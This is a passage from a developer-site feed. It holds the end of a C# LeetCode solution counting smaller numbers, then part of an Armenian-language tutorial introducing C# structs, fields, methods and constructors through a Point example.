&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Solution&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;SmallerNumbersThanCurrent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;Dictionary&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;smallerNumbers&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Dictionary&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;();&lt;/span&gt;  
        &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;numsOriginal&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;ans&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

        &lt;span class="c1"&gt;// Copy original array&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;++)&lt;/span&gt;    
            &lt;span class="n"&gt;numsOriginal&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

        &lt;span class="n"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Sort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// First element has no smaller numbers anyway&lt;/span&gt;
        &lt;span class="n"&gt;smallerNumbers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;TryAdd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;++)&lt;/span&gt; 
            &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
                &lt;span class="n"&gt;smallerNumbers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;TryAdd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;numsOriginal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;++)&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;smallerNumbers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ContainsKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;numsOriginal&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;
                &lt;span class="n"&gt;ans&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;smallerNumbers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;numsOriginal&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;]];&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;ans&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>csharp</category>
      <category>algorithms</category>
      <category>leetcode</category>
    </item>
    <item>
      <title>Սովորում ենք C# | Struct և Class</title>
      <dc:creator>Narek Babajanyan</dc:creator>
      <pubDate>Sun, 12 Apr 2020 09:39:38 +0000</pubDate>
      <link>https://forem.com/narek_babajanyan/c-struct-class-2g5i</link>
      <guid>https://forem.com/narek_babajanyan/c-struct-class-2g5i</guid>
      <description>&lt;p&gt;Նախորդ գրառումներում արդեն իսկ ծանոթացել ենք .NET բազային գրադարանի կողմից առաջարկվող տիպերից մի քանիսին և ինչպես են դրանք պահվում հիշողության մեջ (հիշեցնեմ, որ ըստ պահպանման ձևի, տիպերը լինում են երկու տեսակի՝ արժեքային և հղումային․ դրանց պահպանման մանարամասների մասին խոսել եմ &lt;a href="https://dev.to/n_babajanyan/c-stack-heap-9ff"&gt;նախորդ գրառման մեջ&lt;/a&gt;)։ Այժմ ժամանակն է տեսնել թե ինչպես կարող ենք ստեղծել մեր սեփական տիպերը, խնդիրների առավել արագ լուծման համար։ &lt;/p&gt;

&lt;p&gt;Պատկերացնենք, որ ունենք երկրաչափական կետերի հետ աշխատող ծրագիր գրելու հանձնարարություն։ Երկչափ հարթության մեջ կետը կարելի է պահել երկու առանձին փոփոխականների տեսքով, X և Y կորդինատների արժեքների համար։&lt;/p&gt;

&lt;p&gt;Այս դեպքում, երկու կետերի հեռավորություն հաշվող մեթոդը կունենա հետևյալ տեսքը՝&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="nf"&gt;calculateDistance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;x1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;y1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;x2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;y2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sqrt&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;x2&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;x1&lt;/span&gt;&lt;span class="p"&gt;)*(&lt;/span&gt;&lt;span class="n"&gt;x2&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;x1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;y2&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;y1&lt;/span&gt;&lt;span class="p"&gt;)*(&lt;/span&gt;&lt;span class="n"&gt;y2&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;y1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Իսկ ի՞նչ եթե կետերը գտնվեին եռաչափ տարածության մեջ, այսինքն ամեն կետի ներկայացման համար պահանջվեր երեք փոփոխական։ Իսկ եթե պահանջվեր գտնել ոչ թե երկու կետի հեռավորություն, այլ անհայտ քանակով կետերից կազմված պատկերի մակերե՞ս։ Այդ դեպքում ստիտպված կլինեինք օգտվել մի քանի զանգվածից (բոլոր կետերի X և Y կորդինատների համար)։&lt;br&gt;
Տվյալ դեպքում արդյունավետ լուծման համար մեզ անհրաժեշտ է ստեղծել նոր տիպ, որն իր մեջ կպարունակի կետի մասին հիմնական տվյալները, ինչպես նաև դրանց հետ աշխատելող մեթոդները։&lt;/p&gt;
&lt;h3&gt;
  
  
  Struct
&lt;/h3&gt;

&lt;p&gt;C# լեզվում struct-ը տիպերի կատեգորիա է, որը պատկանում է արժեքային տիպերի (&lt;em&gt;value type&lt;/em&gt;) տեսակին, այսինքն մենք կարող ենք ստեղծել struct տեսակի սեփական տիպ, որը կլինի արժեքային։&lt;/p&gt;

&lt;p&gt;Մեր ստեղծված տիպը կարող է պարունակել ինչպես փոփոխականներ (որոնք կոչվում են &lt;strong&gt;դաշտեր&lt;/strong&gt;՝ &lt;em&gt;fields&lt;/em&gt;), այնպես և մեթոդներ։&lt;/p&gt;

&lt;p&gt;&lt;code&gt;struct&lt;/code&gt;—ի միջոցով տիպ ստեղծելու համար անհրաժեշտ է նախ նշել &lt;code&gt;struct&lt;/code&gt; բանալի բառը, այնուհետև մեր նոր տիպի անվանումը, որից հետո ձևավոր փակագծերի ներսում ներառել տիպի պարփակված փոփոխականներն ու մեթոդները։&lt;/p&gt;

&lt;p&gt;Փորձենք ստեղծել նոր տիպ, երկրաչափական կետեր մոդելավորելու համար՝&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;Point&lt;/span&gt; 
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Այս պարագայում, մեր հեռավորություն չափող մեթոդը կունենա հետևյալ տեսքը՝&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="nf"&gt;calculateDistance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Point&lt;/span&gt; &lt;span class="n"&gt;p1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Point&lt;/span&gt; &lt;span class="n"&gt;p2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sqrt&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;p2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;p1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)*(&lt;/span&gt;&lt;span class="n"&gt;p2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;p1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;p1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)*(&lt;/span&gt;&lt;span class="n"&gt;p2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;p1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ինչպես տեսնում ենք, այլևս կարիք չունենք օգտվելու առանձին փոփոխականներից․ դրա փոխարեն օգտագործում ենք երկու &lt;code&gt;Point&lt;/code&gt; օբյեկտների ներսում պարփակված տվյալները։&lt;/p&gt;

&lt;p&gt;Կարող ենք այս մեթոդը նույնպես ներառել &lt;code&gt;Point&lt;/code&gt; տիպի մեջ՝&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;Point&lt;/span&gt; 
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="nf"&gt;calculateDistance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Point&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sqrt&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)*(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)*(&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Երբ &lt;code&gt;calculateDistance()&lt;/code&gt; մեթոդում նշում ենք &lt;code&gt;x&lt;/code&gt; կամ &lt;code&gt;y&lt;/code&gt;, օգտագործվում են այն օբյեկտում գտնվող փոփոխականները, որի համար կանչվել էր մեթոդը։ Այսինքն, եթե մեթոդը կանչվի հետևյալ կերպ՝&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;p1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;calculateDistance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;ապա մեթոդի ներսում &lt;code&gt;x&lt;/code&gt; և &lt;code&gt;y&lt;/code&gt; փոփոխականները կպարունակեն p1 օբյեկտի կորդինատները, իսկ &lt;code&gt;other&lt;/code&gt; փոփոխականը՝ p2 օբյեկտը, որից էլ կվերցվեն վերջինիս կորդինատները։&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Ուշադրություն դարձրեք միջակետի օպերատորին՝ &lt;code&gt;.&lt;/code&gt;, որը կոչվում է &lt;strong&gt;member access operator&lt;/strong&gt;։ Դրա միջոցով հնարավոր է դառնում աշխատել օբյեկտի ներսում պարփակված փոփոխականի հետ կամ կանչել դրա ներսում գտնվող մեթոդ։ Անհրաժեշտ է նշել օբյեկտը պարունակող փոփոխականի անվանումը, դնել միջակետ, որից հետո նշել անհրաժեշտ փոփոխականի կամ մեթոդի անունը՝ օրինակ &lt;code&gt;p1.x&lt;/code&gt;, &lt;code&gt;p1.calculateDistance(p2)&lt;/code&gt;։&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Ինչպես արդեն նշվեց, &lt;code&gt;struct&lt;/code&gt;-երի միջոցով կարելի է նախագծել սեփական տիպեր։ Իսկ կոնկրետ ինչպե՞ս են ստեղծվում մեր նոր տիպի փոփոխականներ։&lt;/p&gt;

&lt;h4&gt;
  
  
  Կոնստրուկտոր
&lt;/h4&gt;

&lt;p&gt;Որևէ տիպի օբյեկտն այլ կերպ անվանում են այդ տիպի &lt;strong&gt;նմուշ&lt;/strong&gt; (&lt;em&gt;instance&lt;/em&gt;)։ Մեր դիտարկած օրինակում &lt;code&gt;Point&lt;/code&gt;-ը տիպ է, իսկ &lt;code&gt;p1&lt;/code&gt;-ն ու &lt;code&gt;p2&lt;/code&gt;-ը՝ վերջինիս նմուշներ։ Եթե տիպն ընդունենք որպես հատակագիծ, ապա նմուշը հանդիսանում է ըստ այդ հատակագծի կառուցված մեկ շինություն։ Տիպում նախատեսված փոփոխականները (օրինակ &lt;code&gt;x&lt;/code&gt; և &lt;code&gt;y&lt;/code&gt;) դեռևս չեն հայտարարվում հիշողության մեջ, փոխարենը դա արվում է ամեն նմուշի համար առանձին՝ վերջինիս ստեղծման պահին։&lt;/p&gt;

&lt;p&gt;Նոր նմուշների ստեղծման համար C# լեզվում օգտագործվում են հատուկ մեթոդներ, որոնք կոչվում են կոնստրուկտորներ (&lt;em&gt;constructor&lt;/em&gt;)։ Մեթոդը հատուկ է նրանով, որ այն չունի վերադարձվող փոփոխականի տիպ (&lt;em&gt;return type&lt;/em&gt;) և պարտադիր ունի նույն անունն ինչ տիպը։&lt;/p&gt;

&lt;p&gt;Կոնստրուկտորի միջոցով նոր նմուշ ստեղծելու համար անհրաժեշտ է նշել &lt;code&gt;new&lt;/code&gt; բանալի բառը, որից հետ կանչել կոնստրուկտոր մեթոդը՝ տալով անհրաժեշտ պարամետրերը (եթե դրանք նախատեսված են)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="n"&gt;Point&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;Point&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;// Այժմ p փոփոխականը պարունակում է Point տիպի օբյեկտ, որի տվյալների հետ կարող ենք աշխատել&lt;/span&gt;

&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;5.0d&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;0.0d&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;++;&lt;/span&gt;
&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Եթե կոնստրուկտորը չի ընդունում ոչ մի պարամետր, այն կոչվում է &lt;strong&gt;գործարանային կոնստրուկտոր&lt;/strong&gt; (&lt;em&gt;default constructor&lt;/em&gt;) և հասանելի է օգտագործման համար, եթե տիպում ոչ մի այլ կոնստրուկտոր հայտարարված չէ։&lt;/p&gt;

&lt;p&gt;Վերոնշյալ օրինակում, մենք առաջին հերթին հայտարարում ենք &lt;code&gt;Point&lt;/code&gt; տիպի փոփոխական, վերագրում նրան նույն տիպի նորաստեղծ օբյեկտ, այնուհետև արժեքներ տալիս դրա պարփակված փոփոխականներին։&lt;/p&gt;

&lt;p&gt;Օբյեկտի ստեղծումը և փոփոխականների արժևորումը հնարավոր է համատեղել՝ կոնստրուկտորում նախատեսելով &lt;strong&gt;պարամետրեր&lt;/strong&gt;։&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;Point&lt;/span&gt; 
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;Point&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;xCoord&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;yCoord&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;xCoord&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;yCoord&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Այս նոր կոնստրուկտորը կիրառելիս, ծրագրավորողի կողմից տրված &lt;code&gt;xCoord&lt;/code&gt; և &lt;code&gt;yCoord&lt;/code&gt; պարամետրերի արժեքները վերագրվում են համապատասխանաբար &lt;code&gt;x&lt;/code&gt; և &lt;code&gt;y&lt;/code&gt; փոփոխականներին։&lt;br&gt;
